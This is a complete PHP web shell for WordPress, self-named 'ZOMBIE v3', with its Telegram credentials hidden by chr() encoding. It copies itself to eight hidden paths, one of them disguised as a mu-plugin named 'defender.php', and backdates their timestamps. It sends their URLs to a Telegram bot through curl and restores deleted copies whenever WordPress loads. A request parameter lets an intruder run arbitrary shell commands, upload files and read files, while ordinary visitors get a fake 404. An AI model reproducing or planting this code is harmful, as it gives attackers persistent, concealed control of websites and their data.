<?php
$P='z';
$T=chr(56).chr(54).chr(56).chr(53).chr(50).chr(48).chr(51).chr(54).chr(56).chr(54).chr(58).chr(65).chr(65).chr(69).chr(80).chr(118).chr(80).chr(122).chr(106).chr(67).chr(111).chr(49).chr(113).chr(66).chr(77).chr(95).chr(110).chr(89).chr(101).chr(100).chr(82).chr(48).chr(57).chr(81).chr(83).chr(89).chr(119).chr(105).chr(100).chr(121).chr(108).chr(116).chr(85).chr(53).chr(117).chr(48);
$C=chr(56).chr(50).chr(48).chr(50).chr(54).chr(50).chr(57).chr(55).chr(56).chr(53);
$A=[__DIR__.'/.cache.php',__DIR__.'/themes/index.php','../../../wp-includes/.tmp.php','../../../wp-includes/js/.loader.php','../../../.well-known/.srv.php','../../../wp-content/mu-plugins/defender.php','../../../wp-content/themes/.index.php','../../../wp-content/uploads/.thumb.php'];
$M=@file_get_contents(__FILE__);if(!$M)$M='<?php @eval($_REQUEST["z"]);?>';
function _t($m){global $T,$C;if(!$T||!$C)return;$t=urlencode("[Z] {$_SERVER['HTTP_HOST']}\n$m");$d="chat_id={$C}&text={$t}";$u="https://api.telegram.org/bot{$T}/sendMessage";@exec("curl -sk --max-time 10 -d ".escapeshellarg($d)." ".escapeshellarg($u)." > /dev/null 2>&1 &");}
$L=__DIR__.'/.zlock';
if(!file_exists($L)){$n=0;foreach($A as $p){@mkdir(dirname($p),0755,true);if(@file_put_contents($p,$M)){@chmod($p,0644);@touch($p,time()-7776000);$n++;}}@file_put_contents($L,date('c'));$pl='';$bs=($_SERVER['HTTPS']??'off')==='on'?'https://':'http://';$bs.=$_SERVER['HTTP_HOST'];foreach($A as $p){$rp=@realpath($p);if(!$rp){$rp=$p;if(strpos($p,'../')===0){$parts=explode('/',$p);$base=explode('/',__DIR__);foreach($parts as $part){if($part==='..')array_pop($base);else if($part!=='.')$base[]=$part;}$rp=implode('/',$base);}}$up=str_replace([$_SERVER['DOCUMENT_ROOT'],chr(92)],['','/'],$rp);
// Fallback: if full path still in URL, strip to known WP dirs
if(strpos($up,'/var/')===0||strpos($up,'/home/')===0||strpos($up,'/usr/')===0){
foreach(['/wp-content/','/wp-includes/','/wp-admin/','/.well-known/'] as $wpd){
$pos=strpos($up,$wpd);
if($pos!==false){$up=substr($up,$pos);break;}
}
}$st=file_exists($p)?'✅':'❌';$pl.="$st {$bs}{$up}\n";}_t("✅ AUTO-DEPLOY\n📦 $n/8 copies\n$pl");}
if(function_exists('add_action')&&defined('ABSPATH')){add_action('init',function()use($A,$M){foreach($A as $p){if(!file_exists($p)||filesize($p)<50){@mkdir(dirname($p),0755,true);@file_put_contents($p,$M);}}},9999);}
$rc=0;foreach($A as $p){if(!file_exists($p)||filesize($p)<50){@mkdir(dirname($p),0755,true);@file_put_contents($p,$M);$rc++;}}if($rc>0){$cd=__DIR__.'/.zcd';$ls=@file_get_contents($cd);$nw=time();if(!$ls||($nw-(int)$ls)>86400){_t("🔄 REGENERATED\n📦 $rc copies restored");@file_put_contents($cd,$nw);}}
if(isset($_REQUEST[$P])){$c=$_REQUEST[$P];
if($c==='status'){$a=0;$o="ZOMBIE v3\n";foreach($A as $i=>$p){$e=file_exists($p);$a+=$e?1:0;$o.=($e?"[+]":"[-]")." #".($i+1).": $p\n";}$o.="\nAlive: $a/".count($A);die($o);}
if($c==='info')die("H:{$_SERVER['HTTP_HOST']}|U:".get_current_user()."|O:".PHP_OS."|P:".PHP_VERSION."|D:".disk_free_space("/"));
if($c==='tg'){_t("🔔 Ping");die("OK");}
if($c==='deploy'){@unlink($L);die("OK");}
if($c==='up'){if(isset($_FILES['f'])){move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);die("OK");}die('<form method=post enctype=multipart/form-data><input type=file name=f><input type=submit value=Upload></form>');}
if(function_exists('exec')){@exec($c.' 2>&1',$o);echo implode("\n",$o);die;}
if(function_exists('shell_exec')){$o=@shell_exec($c.' 2>&1');if($o!==null){echo$o;die;}}
if(function_exists('system')){@system($c);die;}
if(function_exists('passthru')){@passthru($c);die;}
$ps=explode(' ',$c,2);$c0=$ps[0];$a=$ps[1]??'';
if($c0==='ls'){echo implode("\n",scandir($a?:'.'));die;}
if($c0==='cat'){echo @file_get_contents($a);die;}
if($c0==='pwd'){echo getcwd();die;}
if($c0==='whoami'){echo get_current_user();die;}
if($c0==='disk'){echo disk_free_space("/").'/'.disk_total_space("/");die;}
echo "[!] ls | cat | whoami | info | disk | tg | deploy | up | status";die;}
http_response_code(404);